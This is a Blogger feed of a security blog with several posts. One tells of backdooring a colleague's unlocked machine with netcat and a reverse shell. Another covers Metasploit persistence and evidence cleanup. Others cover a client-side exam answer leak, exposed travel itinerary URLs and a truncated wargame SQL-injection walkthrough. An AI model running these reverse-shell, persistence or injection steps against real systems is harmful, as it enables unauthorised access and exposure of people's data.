tag:blogger.com,1999:blog-75913630570156401092024-03-05T01:45:03.888-08:00zprian's security blogzprianhttp://www.blogger.com/profile/09173230018991760262noreply@blogger.comBlogger19125tag:blogger.com,1999:blog-7591363057015640109.post-48289374389651428462013-03-21T14:52:00.002-07:002013-03-21T14:56:08.740-07:00Owning my friend! (III)<div style="text-align: justify;">
Bueno bueno bueno, por alusiones personales.. <a href="http://seifreed.com/2013/03/21/yoy-have-been-owned/">http://seifreed.com/2013/03/21/yoy-have-been-owned/</a> he de decir que todo es mentira! :)</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
A ver, no ha sido tan fácil como lo comenta <a href="http://seifreed.com/">Seifreed</a>, sí que es verdad que se dejó el ordenador sin bloquear, pero justo cuando lo vi, yo estaba a punto de irme a mi casa y tenía todo recogido así que no había demasiado tiempo. Por esa razón, la mejor opción, era dejarle un puerto a la escucha, que me brindase la oportunidad de ejecutar comandos.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Por esa razón lo primero a probar era dejar con NetCat ese servicio a la escucha:</div>
<div style="text-align: justify;">
</div>
<ul>
<li>$nc -l 2906 -e /bin/bash</li>
</ul>
<br />
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
El problema.. que la versión que viene por defecto en su ubuntu está "capada".</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
nc: invalid option -- 'e'</div>
<div style="text-align: justify;">
This is nc from the netcat-openbsd package. An alternative nc is available</div>
<div style="text-align: justify;">
in the netcat-traditional package.</div>
<div>
<div style="text-align: justify;">
<br /></div>
</div>
<div>
<div style="text-align: justify;">
La opción de instalar la versión completa, existía, pero tenía privilegios de su usuario, no de root. Así pues, una de las pocas cosas que podía hacer en el poco tiempo que tenía era ejecutar lo siguiente:</div>
</div>
<div>
<div style="text-align: justify;">
</div>
<ul>
<li>$nc -l 2906 | /bin/bash</li>
</ul>
</div>
<div>
<div style="text-align: justify;">
<br /></div>
</div>
<div>
<div style="text-align: justify;">
De esta forma, aunque no sea interactivo, todo lo que le envíe será redirigido hacia /bin/bash, y por lo tanto, ejecutado (aunque no veré resultados). </div>
</div>
<div>
<div style="text-align: justify;">
<br /></div>
</div>
<div>
<div style="text-align: justify;">
Esta mañana, lo único que tenía que hacer era crearme una reverse shell. (sí, algún compañero me ha dicho, "súbele un meterpreter", pero la idea era darle una pequeña lección, no putearlo ;)). Así que, dejando un par de servicios a la escucha con el NetCat uno lo utilizaría de canal de envío de comandos y el otro para la recepción de resultados.</div>
</div>
<div>
<div style="text-align: justify;">
</div>
<ul>
<li>Terminal1: $nc -v -l 2906</li>
<li>Terminal2: $nc -v -l 2907</li>
</ul>
</div>
<div>
<div style="text-align: justify;">
<br /></div>
</div>
<div>
<div style="text-align: justify;">
Y ahora.. conectandome a la máquina de Seifreed, sólo tenía que hacer, que se conectase contra mi y me sirviese la shell. </div>
</div>
<div>
<div style="text-align: justify;">
TerminalAtacar: </div>
</div>
<div>
<div style="text-align: justify;">
</div>
<ul>
<li>$nc IPSEIFREED 2906 --> para conectarme a él</li>
<li>$nc MYIP 2906 | /bin/bash | nc MYIP 2907</li>
<!------->
</ul>
<br />
<div>
<div style="text-align: justify;">
<br /></div>
</div>
<div>
<div style="text-align: justify;">
De esta forma primero me conecto a él, y luego hago que él se conecte a mi, sirviéndome esa shell tan preciada, Por supuesto, una vez aquí, ya ha sido cuando he creado ese archivo en su home, y le he avisado. </div>
</div>
<div>
<div style="text-align: justify;">
<br /></div>
</div>
<div>
<div style="text-align: justify;">
Si alguien quiere saber más acerca de cómo hacer una reverse shell.. hay mucha información públicada, pero a mi, un par de enlaces que me gusta mirar para ver si tengo la oportunidad de utilizar son los siguientes:</div>
</div>
<div>
<div style="text-align: justify;">
Listado de reverse shells en una linea:</div>
</div>
<div>
<div style="text-align: justify;">
</div>
<ul>
<li><a href="http://bernardodamele.blogspot.com.es/2011/09/reverse-shells-one-liners.html">http://bernardodamele.blogspot.com.es/2011/09/reverse-shells-one-liners.html</a></li>
</ul>
</div>
<div>
<div style="text-align: justify;">
Cómo hacer una reverse shell a través de ICMP:</div>
</div>
<div>
<div style="text-align: justify;">
</div>
<ul>
<li><a href="http://bernardodamele.blogspot.com.es/2011/04/reverse-connection-icmp-shell.html"></a><a href="http://bernardodamele.blogspot.com.es/2011/04/reverse-connection-icmp-shell.html">http://bernardodamele.blogspot.com.es/2011/04/reverse-connection-icmp-shell.html</a></li>
</ul>
<ol>
</ol>
</div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<br /></div>
<br />
<br />
<!--------></div>
zprianhttp://www.blogger.com/profile/09173230018991760262noreply@blogger.com0tag:blogger.com,1999:blog-7591363057015640109.post-84454151515932650272012-12-09T10:19:00.000-08:002012-12-09T10:19:09.189-08:00Cómo no hacer un sistema de exámenes... <div style="text-align: justify;">
<br />
El otro día me tocó hacer un curso de esos online, para tener un títulillo sobre Prevención de Riesgos Laborales.<br />
Por mucho que la RRHH te diga que no te llevará más de 15 minutos... al principio del curso ya ves que es una repetición de los mismos conceptos que has escuchado una y otra vez, y de la lógica.. y bueno, un mensajito indica que dura 160 slides, y que serán aproximadamente unos 240 minutos.<br />
Así que 160 slides después, lo último que tienes ganas es que te hagan un examen de la teoría que has tenido que leer, repitiendo lo mismo una y otra vez... Por lo que cuando he acabado el examen correctamente... me ha dado por "mirar" la aplicación.<br />
<div style="text-align: start;">
<br /></div>
<div style="text-align: start;">
Que nos podemos encontrar en este punto? pues muchas opciones, pero la que me he encontrado.. ha sido una que no me la esperaba... por lo mal hecha que estaba. </div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh4030keGcNYYX4bsJj7-NZ-UfxR_PPlW6MNGttDdmH4lhc4YCVneok1GsB_xXVRmKDEfUmxcn_RznVofaMbABIF2D3V2bTswgAtjGQODwv_hQBqy1pJQCFWbEfuLPO-HYv2s8Vuq15Tg0o/s1600/preguntas.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="217" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh4030keGcNYYX4bsJj7-NZ-UfxR_PPlW6MNGttDdmH4lhc4YCVneok1GsB_xXVRmKDEfUmxcn_RznVofaMbABIF2D3V2bTswgAtjGQODwv_hQBqy1pJQCFWbEfuLPO-HYv2s8Vuq15Tg0o/s400/preguntas.png" width="400" /></a></div>
<div style="text-align: start;">
<br /></div>
<div style="text-align: start;">
<br /></div>
<div style="text-align: start;">
Al acceder al examen, era tipo test, con tres posibles respuestas de A, B, o C, con lo que sí acertabas salía un "CORRECTO" y si fallabas un "ERROR". </div>
<div style="text-align: start;">
<br /></div>
<div style="text-align: start;">
Tal y como se comportaba la aplicación, que no parecía haber ningún tipo de refresco, de peticiones hacia el servidor ni nada, me puse a observar el código fuente, esperando que no fuesen verdad mis sospechas. Efectivamente, lo eran. Las comprobaciones las hacía directamente con un javascript en la parte del usuario. FAIL.</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgf46WlhyT0sxYB6xIcBU7AjV2ff7ozBubud1RpaNwEOVbPsvBOwFEd8B2Efcgnj8w2OWDRtgb_xEqebY1GznvGv7FxDtlWVqeeKP49d2V5GekaqIKGH_vJB9bnX7p-eNC52oUocZlykqt9/s1600/captain.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="210" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgf46WlhyT0sxYB6xIcBU7AjV2ff7ozBubud1RpaNwEOVbPsvBOwFEd8B2Efcgnj8w2OWDRtgb_xEqebY1GznvGv7FxDtlWVqeeKP49d2V5GekaqIKGH_vJB9bnX7p-eNC52oUocZlykqt9/s320/captain.jpg" width="320" /></a></div>
<div style="text-align: start;">
<br /></div>
Como se puede observar, al elegir una opción, se realiza una petición a una función javascript contenida en la misma página. Y en función de que opción se elija se envían unos parámetros u otros.<br />
<div class="separator" style="clear: both;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgABU5XhJqErs8mMsm1-BneVQHKi4cwr0kr8kAL85lRSsQrVNSaTDsCIBaxhocb-gLmbbSwj6OtHnNBsQWdArhLQFdnDj_Ddi5pbVDMKTTte57PXQ5dWFBvva84neG_6kDsbWmflaIGiWqX/s1600/llamada.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="192" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgABU5XhJqErs8mMsm1-BneVQHKi4cwr0kr8kAL85lRSsQrVNSaTDsCIBaxhocb-gLmbbSwj6OtHnNBsQWdArhLQFdnDj_Ddi5pbVDMKTTte57PXQ5dWFBvva84neG_6kDsbWmflaIGiWqX/s640/llamada.png" width="640" /></a></div>
<div style="text-align: start;">
<br /></div>
<div style="text-align: start;">
<br /></div>
Al buscar la función, nos encontramos que en tratando los parámetros recibidos, se indica si la respuesta que has seleccionado es la correcta o no (si el primer parámetro es un 1, es la correcta), además, al hacer el envío, tenemos el valor de "value" que nos indica cómo se tiene que respuesta se deberá pintar de verde, por lo que es otra forma de saber la respuesta correcta. En resumen, que en la misma petición, ya se está enviando la solución! la función de validación, solo sirve para pintar los colores y el mensajito de CORRECTO y sumar puntos! (se puede observar al final de la siguiente captura)<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhWifSKC4KGdRGyw-oT-k9WGqMBPurs6BtPUOvTOIOlcYw5yqs6vi4Xyp2tGae_Fq9FkkrpRJMLquAnpMCD9IGefNf2FQ7q77qGWWzpMKdaNpQNWZAYUVINiMdH2LKUiXC10Bl3SELv5ITp/s1600/umivale4.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="325" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhWifSKC4KGdRGyw-oT-k9WGqMBPurs6BtPUOvTOIOlcYw5yqs6vi4Xyp2tGae_Fq9FkkrpRJMLquAnpMCD9IGefNf2FQ7q77qGWWzpMKdaNpQNWZAYUVINiMdH2LKUiXC10Bl3SELv5ITp/s400/umivale4.png" width="400" /></a></div>
<div style="text-align: start;">
<br /></div>
<div style="text-align: start;">
<br /></div>
<div style="text-align: start;">
Además, no solo contentos con esto.. han hecho que todas las preguntas estén en el mismo Html, y que por lo tanto, se puede visualizar todas las respuestas de golpe, buscando los "validarRespuesta(1,XXX" </div>
<div style="text-align: start;">
podríamos obtener todas las respuestas posibles. </div>
<div style="text-align: start;">
<br /></div>
<div style="text-align: start;">
Cómo sería muy cansado y laborioso estar revisando todo el código de la página para ir acertando cada una de las preguntas que se hacen... es más fácil si sabes como se hace la petición para registrar tu resultado... y cómo no, también está en el código fuente:</div>
<div style="text-align: start;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhb5JYhWKgag-5nkx05De0Cm3NCMKD-lQalbcZc9ZBwFg_-LA8o0U_I3z8dV3SAoQUMu0CKgAreGKppjF1hNYsn2bL9UCcA8sIwMR1PkTa7EWxrETeX2TFEzHZaskgPHBYXd6jvSUHmAY61/s1600/enviarnota.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="120" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhb5JYhWKgag-5nkx05De0Cm3NCMKD-lQalbcZc9ZBwFg_-LA8o0U_I3z8dV3SAoQUMu0CKgAreGKppjF1hNYsn2bL9UCcA8sIwMR1PkTa7EWxrETeX2TFEzHZaskgPHBYXd6jvSUHmAY61/s640/enviarnota.png" width="640" /></a></div>
<div style="text-align: start;">
<br /></div>
<div style="text-align: start;">
Pero recordad, haciendo esto, no se aprende! que si os apuntan a un curso, es para sacar provecho, y que luego os envíen un título como el siguiente. </div>
<div style="text-align: start;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiSphSMXhzaB6C0MK2_paAg5kwVS_u6YmTkrOX3xq9xd3NYV32UzHTWJeyadQ4bgjV9nIhL-xjwk2u5G65bFWu3ggdfQlSIIQ7KpDSnxCDmyXpdzESRBb7e8TB1XfQwkQgpQiHbvc0Q0TvB/s1600/umi8.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="137" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiSphSMXhzaB6C0MK2_paAg5kwVS_u6YmTkrOX3xq9xd3NYV32UzHTWJeyadQ4bgjV9nIhL-xjwk2u5G65bFWu3ggdfQlSIIQ7KpDSnxCDmyXpdzESRBb7e8TB1XfQwkQgpQiHbvc0Q0TvB/s320/umi8.png" width="320" /></a></div>
<div>
<br /></div>
</div>
zprianhttp://www.blogger.com/profile/09173230018991760262noreply@blogger.com1tag:blogger.com,1999:blog-7591363057015640109.post-54458250689972842612012-03-20T13:48:00.010-07:002012-03-21T02:08:54.200-07:00Owned for ever<div style="text-align: center;"><br /></div><div style="text-align: left;"><span style="font-size: 100%; font-family: Georgia, serif; text-align: justify; ">Some days ago, I read something about the modules of meterpreter that one can execute once a machine has been compromised but I can't remember where I did it. </span><span style="font-family: Georgia, serif; font-size: 100%; text-align: justify; ">So, I want to talk about the use of some of them.</span></div><div style="text-align: center;font-family: Georgia, serif; font-size: 100%; font-variant: normal; line-height: normal; font-style: normal; font-weight: normal; "><br /></div><div style="font-family: Georgia, serif; font-size: 100%; font-variant: normal; line-height: normal; font-style: normal; font-weight: normal; text-align: justify; ">First for all, we have a lot of scripts to run (about 180) and we can do some actions such as to collect the credentials stored in the system, or in the software installed. </div><div style="font-family: Georgia, serif; font-size: 100%; font-variant: normal; line-height: normal; font-style: normal; font-weight: normal; text-align: justify; "></div><div style="text-align: center;"><br /></div><div style="font-family: Georgia, serif; font-size: 100%; font-variant: normal; line-height: normal; font-style: normal; font-weight: normal; text-align: justify; "><img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 93px;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhB27iav6IJrai2rVvNnyzcsVhS0ObpDv04qnZHH8a2NAtI1CU-FUQF_TLUcVWyepii-O0xEX0VypEbNu3itNxXFUSTG-HSV6oIXU9FO7loZGnJ-n4G2izJtHYp7sqOMM3sutwdnCfn9xBX/s400/m1.png" border="0" alt="" id="BLOGGER_PHOTO_ID_5722269303756130386" /></div><div style="font-family: Georgia, serif; font-size: 100%; font-variant: normal; line-height: normal; font-weight: normal; text-align: justify; "><span style="font-style: normal; ">There are other options one can do, and one this is the possibility to make our connection persistent and mantain that channel for future connections. In order to do that, we must use the "persistent" script. For see the options that it have, one must execute "</span><i>run persistence -h</i>":</div><div style="font-family: Georgia, serif; font-size: 100%; font-variant: normal; line-height: normal; font-weight: normal; text-align: justify; "><br /></div><div style="text-align: center;font-family: Georgia, serif; font-size: 100%; font-variant: normal; line-height: normal; font-style: normal; font-weight: normal; "><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEheEAzYw9FDBk_ymBn_1f-lCIE5grtVhx5wgi9GqZMO79cZ-k1pBu_CB1nV1HqanIosAcU3G91ClERm7c5Gmlu8Xi0a6fXc19qq2Nkc_Sl_r0EtSgHSgWm8-s36zvBDKjDUvWA7dOV_Q1JG/s400/m2.png" border="0" alt="" id="BLOGGER_PHOTO_ID_5722274286188630290" style="display: block; margin-top: 0px; margin-right: auto; margin-bottom: 10px; margin-left: auto; cursor: pointer; width: 400px; height: 142px; " /></div><div style="font-family: Georgia, serif; font-size: 100%; font-variant: normal; line-height: normal; font-style: normal; font-weight: normal; text-align: justify; ">Using that script, we create service on the compromissed machine that it will be ready every time the server will be rebooted. </div><div style="font-family: Georgia, serif; font-size: 100%; font-variant: normal; line-height: normal; font-style: normal; font-weight: normal; text-align: justify; "><br /></div><div style="font-family: Georgia, serif; font-size: 100%; font-variant: normal; line-height: normal; font-style: normal; font-weight: normal; text-align: justify; ">To explain how it works, we must know the options it have:</div><div style="font-family: Georgia, serif; font-size: 16px; text-align: justify; "></div><div style="text-align: center;"><br /></div><div style="font-family: Georgia, serif; font-size: 100%; font-variant: normal; line-height: normal; font-style: normal; font-weight: normal; "><div> -A Automatically start a matching multi/handler to connect to the agent</div><div> -L <opt> Location in target host where to write payload to, if none %TEMP% will be used.</opt></div><div> -P <opt> Payload to use, default is windows/meterpreter/reverse_tcp.</opt></div><div> -S Automatically start the agent on boot as a service (with SYSTEM privileges)</div><div> -T <opt> Alternate executable template to use</opt></div><div> -U Automatically start the agent when the User logs on</div><div> -X Automatically start the agent when the system boots</div><div> -h This help menu</div><div> -i <opt> The interval in seconds between each connection attempt</opt></div><div> -p <opt> The port on the remote host where Metasploit is listening</opt></div><div> -r <opt> The IP of the system running Metasploit listening for the connect back</opt></div></div><div style="font-variant: normal; line-height: normal; font-style: normal; font-weight: normal; "><div style="font-family: Georgia, serif; font-size: 100%; text-align: justify; "></div><div style="text-align: center; "><br /></div></div><div style="font-family: Georgia, serif; font-size: 100%; font-variant: normal; line-height: normal; font-style: normal; font-weight: normal; text-align: justify; ">I will use the options "-A", "-S", "-X", "-p 4445" and "-r 192.168.0.182". As we can see on the following image, a new session has been created, and also we can see where the vbs script has been stored and executed with a new process ID (PID).</div><div style="text-align: justify;"><span ><br /></span></div><div style="font-variant: normal; line-height: normal; font-style: normal; font-weight: normal; text-align: justify; "><div style="font-family: Georgia, serif; font-size: 100%; "></div><div style="text-align: center; "><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhcxTHtme3ctvmfOxvfsRYrRZExnUJ5WKPar6orV_VYrg6P5AICe6JGoNItYcbHgviZspxu3gDcTIbKTSGW-FenbRbqcb87o29BS6urFQ7PXvvaIBWlFmtRaKK30xqtAZ-gsPbSjym7mhvb/s400/m4.png" border="0" alt="" id="BLOGGER_PHOTO_ID_5722272182888351186" style="font-size: 16px; font-family: Georgia, serif; display: block; margin-top: 0px; margin-right: auto; margin-bottom: 10px; margin-left: auto; cursor: pointer; width: 400px; height: 99px; " /></div></div><div style="font-family: Georgia, serif; font-size: 100%; font-variant: normal; line-height: normal; font-weight: normal; text-align: justify; ">If we want to proof if the channel is persistent now, we must reboot the owned computer, so the active sessions will be died and when the computer has been loaded it will try to connect to our multihandler. </div><div style="font-family: Georgia, serif; font-size: 100%; font-variant: normal; line-height: normal; font-weight: normal; text-align: justify; "><br /></div><div style="font-family: Georgia, serif; font-size: 100%; font-variant: normal; line-height: normal; font-weight: normal; text-align: justify; "><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiHsk02UFSQS3s7rRmvHS0_Y8taKcWMPuyuQjUrs5eXqz7VqQFM2pKDxnA59bLAWV4tU4yJHjWplCB5e1Ts5zD1WIL5nLl9aRH_xlkXEvfQ5ZWB4ic1VZd2IBHMO8-mFlip_vvKVWpLbmGz/s400/m8.png" border="0" alt="" id="BLOGGER_PHOTO_ID_5722273663854240882" style="font-family: 'Times New Roman'; font-size: medium; text-align: center; display: block; margin-top: 0px; margin-right: auto; margin-bottom: 10px; margin-left: auto; cursor: pointer; width: 400px; height: 182px; " /></div><div><br /></div><div style="font-family: Georgia, serif; font-size: 100%; font-variant: normal; line-height: normal; font-weight: normal; text-align: justify; ">In order to clean our evidences, we must delete the files created, and kill the current process. For do that, whe we run for the first time the "persistent" script, a cleaning script has been created on <i>/root/.msf4/logs/persistence/*.rc</i>, so we must to change the PID on the script and put it as the last command to execute because if we run that before the other commands, the conection will be died, and will not be possible to delete the key on the register.</div><div style="font-family: Georgia, serif; font-size: 100%; font-variant: normal; line-height: normal; font-weight: normal; text-align: justify; "><br /></div><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjeuHKw6WwsOUW-JGBil1XFB7H_iwtR9eFBhgYdr-uvVnwVepxc5IfEK8VSLGhqUkUr1CwzisXfsexVZ9mtXHKKGxHexbo_lUTZbXnAqJ-TXMjWKEL1syIXna4jgYEaRQIuJOqIBes8cDD-/s400/m11.png" border="0" alt="" id="BLOGGER_PHOTO_ID_5722271441714236610" style="text-align: center; font-size: 16px; font-family: Georgia, serif; display: block; margin-top: 0px; margin-right: auto; margin-bottom: 10px; margin-left: auto; cursor: pointer; width: 400px; height: 41px; " /><div style="font-family: Georgia, serif; font-size: 100%; font-variant: normal; line-height: normal; font-style: normal; text-align: justify; "><span style="font-weight: normal; ">At last, we must run the "</span><b>resource</b>" command for meterpreter to execute the cleaning script.</div><div style="font-family: Georgia, serif; font-size: 100%; font-variant: normal; line-height: normal; font-style: normal; text-align: justify; "><br /></div><div style="font-family: Georgia, serif; font-size: 100%; font-variant: normal; line-height: normal; font-style: normal; font-weight: normal; text-align: justify; "><span style="font-size: 100%; "><div><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgOq83eo6kb-i-U16gLF_kEkeVkSD4zV2nfy-eLhbg8rMV_sszuL7zF-gqj-vgestWng1xXgkWQrgeoBDKqke1HGLHXv8_zxZ62wmOBQ9keXmojM1DGUaRGDkS8dD6A69sqH9YuwMWjElB1/s400/m12.png" border="0" alt="" id="BLOGGER_PHOTO_ID_5722271048541846338" style="color: rgb(0, 0, 238); font-family: 'Times New Roman'; font-size: medium; text-decoration: underline; display: block; margin-top: 0px; margin-right: auto; margin-bottom: 10px; margin-left: auto; text-align: center; cursor: pointer; width: 400px; height: 117px; " /></div><div><span style="font-size: 100%; ">It is possible to obtain some errors when we run the </span><b style="font-size: 100%; ">resource</b><span style="font-size: 100%; "> command, but only the accepted errors are when tring to delete the payload created on the system (only, if we didn't change the path and the script was created on the %TEMP% directory because when the machine will be rebooted, the script will be deleted), and the error when tring to kill the Process, for the same reason.</span></div></span></div><div style="font-family: Georgia, serif; font-size: 100%; font-variant: normal; line-height: normal; font-style: normal; font-weight: normal; "><span style="font-size: 100%; "> </span></div>zprianhttp://www.blogger.com/profile/09173230018991760262noreply@blogger.com0tag:blogger.com,1999:blog-7591363057015640109.post-83039474175458664712012-03-07T03:34:00.005-08:002012-03-09T14:08:24.797-08:00Cuidado con lo que te cachean... y no en los aeropuertos<div style="text-align: center;"><br /></div><span><div style="text-align: justify;"><span><span style="font-size: 100%;">Hace unos días me compré un billete de avión y me llegó al móvil un SMS por parte de eDreams con una url acortada por Tinyurl para que si lo abro desde el móvil me muestra la </span></span><span><span style="font-size: 100%;">información de ruta de ésta compra.</span></span></div></span><div><div style="text-align: center;"><span ><u><br /></u></span></div><span><div style="text-align: justify;"><span style="font-size: 100%; ">El problema fue, que no entré con mi teléfono a la página, si no con mi ordenador y un navegador normal... Y al "des-acortar" la url, me entraba directamente a la aplicación móvil, con los datos de "trayecto" para mi usuario.</span></div></span><div><div><div style="text-align: justify;"><br /></div><span><div style="text-align: justify;"><span style="font-size: 100%; ">La URL que se genera para poder entrar es del siguiente estilo:</span></div></span><span><div style="text-align: justify;"><span style="font-size: 100%; ">http://m.edreams.es/Mobile/b2aeb0a0****************</span></div></span><br /><span><span style="font-size: 100%;">Así que.. por que no buscar si existe algún contenido similar en google?</span></span><br /><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiiMfBjDltia8QWa9lDh2kHbZWphNh1bO-hFsIourMumPKbTUNvPLB4RVuhWx-xjFsuE9n3W285GBmGoLt2_2Yv20CHsfdkGHrVy66igCHFNxUVGC4umOWQV1iwaSAbhVzw2svb21pBQMos/s400/google.png" border="0" alt="" id="BLOGGER_PHOTO_ID_5718021896821820098" style="display: block; margin-top: 0px; margin-right: auto; margin-bottom: 10px; margin-left: auto; text-align: center; cursor: pointer; width: 400px; height: 171px; " /><div style="text-align: center;"><br /></div><span><div style="text-align: justify;"><span style="font-size: 100%; ">Pues la respuesta es que sí, existe, por lo menos un resultado, que permite acceder a los trayectos de un usuario de eDreams, dónde se pueden observar 3 de sus próximos viajes. </span></div></span><br /><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8qQb2ETQ3qYDDRSTKb5xeCVps3Tkt1BQkePy0ZjZ15Cjzn0i7JtopXQsnun3Z-05n9xwnzzOlMEvFRtcXLfneVu8YMKBfHAUxkpNJYKGvFJ-MgmYlQglO6Ln_dvCds8-7TTKeXH91VWjC/s1600/edreams2.png"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg7dSbiz7O0XBNHG6UHwvSJhJwM7x2n4CPzZkr9jIiVcDQgdjwBTzSCaTee__VL6AdLHQiDozfFcVS7IJN_i5LjmLAw_hq16yQERRytWGj3sWe_cjB7ONi14JkQOOR_Ag4GJl28msAXAxCV/s400/edreams3.png" border="0" alt="" id="BLOGGER_PHOTO_ID_5718022295116408290" style="display: block; margin-top: 0px; margin-right: auto; margin-bottom: 10px; margin-left: auto; text-align: center; cursor: pointer; width: 400px; height: 101px; " /></a><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8qQb2ETQ3qYDDRSTKb5xeCVps3Tkt1BQkePy0ZjZ15Cjzn0i7JtopXQsnun3Z-05n9xwnzzOlMEvFRtcXLfneVu8YMKBfHAUxkpNJYKGvFJ-MgmYlQglO6Ln_dvCds8-7TTKeXH91VWjC/s1600/edreams2.png"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8qQb2ETQ3qYDDRSTKb5xeCVps3Tkt1BQkePy0ZjZ15Cjzn0i7JtopXQsnun3Z-05n9xwnzzOlMEvFRtcXLfneVu8YMKBfHAUxkpNJYKGvFJ-MgmYlQglO6Ln_dvCds8-7TTKeXH91VWjC/s400/edreams2.png" border="0" alt="" id="BLOGGER_PHOTO_ID_5718022225968992050" style="display: block; margin-top: 0px; margin-right: auto; margin-bottom: 10px; margin-left: auto; text-align: center; cursor: pointer; width: 400px; height: 232px; " /></a><div style="color: rgb(0, 0, 0); "></div><div style="color: rgb(0, 0, 0); "></div></div><div style="text-align: center;"><span ><u><br /></u></span></div><div><span><span style="font-size: 100%;">Por desgracia.. sólo permite observar.. nada de cambios de nombres ni nada por el estilo más jugoso ;)</span></span></div></div></div>zprianhttp://www.blogger.com/profile/09173230018991760262noreply@blogger.com0tag:blogger.com,1999:blog-7591363057015640109.post-80279236304428505972011-12-03T11:21:00.003-08:002012-03-09T14:12:54.484-08:00Hackademia RTB1<div style="font-family: Georgia, serif; font-size: 100%; font-style: normal; font-variant: normal; font-weight: normal; line-height: normal; text-align: justify; "><span style="font-size: 100%; ">Bueno, hoy voy a analizar un poco este wargame que me descargué hace un tiempecillo y que he estado probando este fin de semana..</span></div><div style="text-align: justify;"><span ><br /></span></div><span ><div style="text-align: justify;"><span style="font-size: 100%; ">Se trata de "Root the box", que lo conocí a través de la gente de sec-track:</span></div></span><span ><div style="text-align: justify;"><span style="font-size: 100%; ">http://www.sec-track.com/Wiki/wiki/index.php/Hackademic.RTB1</span></div></span><span ><div style="text-align: justify;"><span style="font-size: 100%; ">Se trata de una imagen de vmware que se puede abrir sin problemas con VirtualBox. Al levantar la máquina, ya coge IP mediante DHCP, así pues.. lo primero será, mirar a ver que tiene... así que.. vamos con un Nmap.</span></div></span><div style="text-align: justify;"><br /></div><div style="text-align: justify;"><span style="font-size: 100%; font-family: Georgia, serif; ">Después de ver esto, tenemos que el único puerto abierto y por lo tanto punto de entrada, se trata del servidor web, ya que ssh se encuentra cerrado.</span></div><div style="text-align: justify;"><br /></div><span ><div style="text-align: justify;"><span style="font-size: 100%; ">Así pues si accedemos a la aplicación:</span></div></span><span ><div style="text-align: justify;"><span style="font-size: 100%; ">http://192.168.0.190/</span></div></span><span ><div style="text-align: justify;"><span style="font-size: 100%; ">podemos ver que no hay prácticamente nada.. tan solo un mensaje que indica que la aplicación principal está en /Hackademia_RTB1/. Al acceder, veremos que es una aplicación prácticamente en pañales, con tan solo 2 enlaces, así que si buscamos un poco, por ver si hay algo más que no esté enlazado...</span></div></span><span ><div style="text-align: justify;"><ul><li><span style="font-size: 100%; ">http://192.168.0.190/phpMyAdmin/ - Forbidden</span></li><li><span style="font-size: 100%; ">http://192.168.0.190/Hackademia_RTB1/wp-admin - Ok</span></li><li><span style="font-size: 100%; ">http://192.168.0.190/Hackademia_RTB1/wp-login - Ok</span></li><li><span style="font-size: 100%; ">http://192.168.0.190/Hackademia_RTB1/xmlrpc.php - Ok</span></li><li><span style="font-size: 100%; ">http://192.168.0.190/Hackademia_RTB1/license.txt - Ok</span></li></ul></div></span><div style="text-align: justify;"><br /></div><span ><div style="text-align: justify;"><span style="font-size: 100%; ">viendo estos archivos, y si miramos dentro del contenido que envía el servidor, podemos confirmar que se trata de un Wordpress 1.5.1.1. Si se busca un poco por internet, se puede ver que esta versión dispone de diversas vulnerabilidades, entre ellas SQLinjection y XSS (que ésta no nos sirve).</span></div></span><div style="text-align: justify;"><br /></div><meta name="generator" content="WordPress 1.5.1.1"> <!-- leave this for stats --><div style="text-align: justify;"><br /></div><div style="text-align: justify;"><br /></div><span ><div style="text-align: justify;"><span style="font-size: 100%; ">Así que.. mirando, probando.. he visto que se trata de la variable "cat" que es vulnerable a SQLi. He estado buscando a ver si estaba documentada y no he visto demasiado, así que probando de hacerlo a mano. Así que pongo aquí algunas consultas que me han ido llevando a sacar información:</span></div></span><span ><div style="text-align: justify;"><span style="font-size: 100%; ">Para ver el número de columnas que tiene la sentencia:</span></div></span><span ><div style="text-align: justify;"><ul><li><span style="font-size: 100%; ">http://192.168.0.190/Hackademic_RTB1/?cat=1%20order%20by%205</span></li><li><span 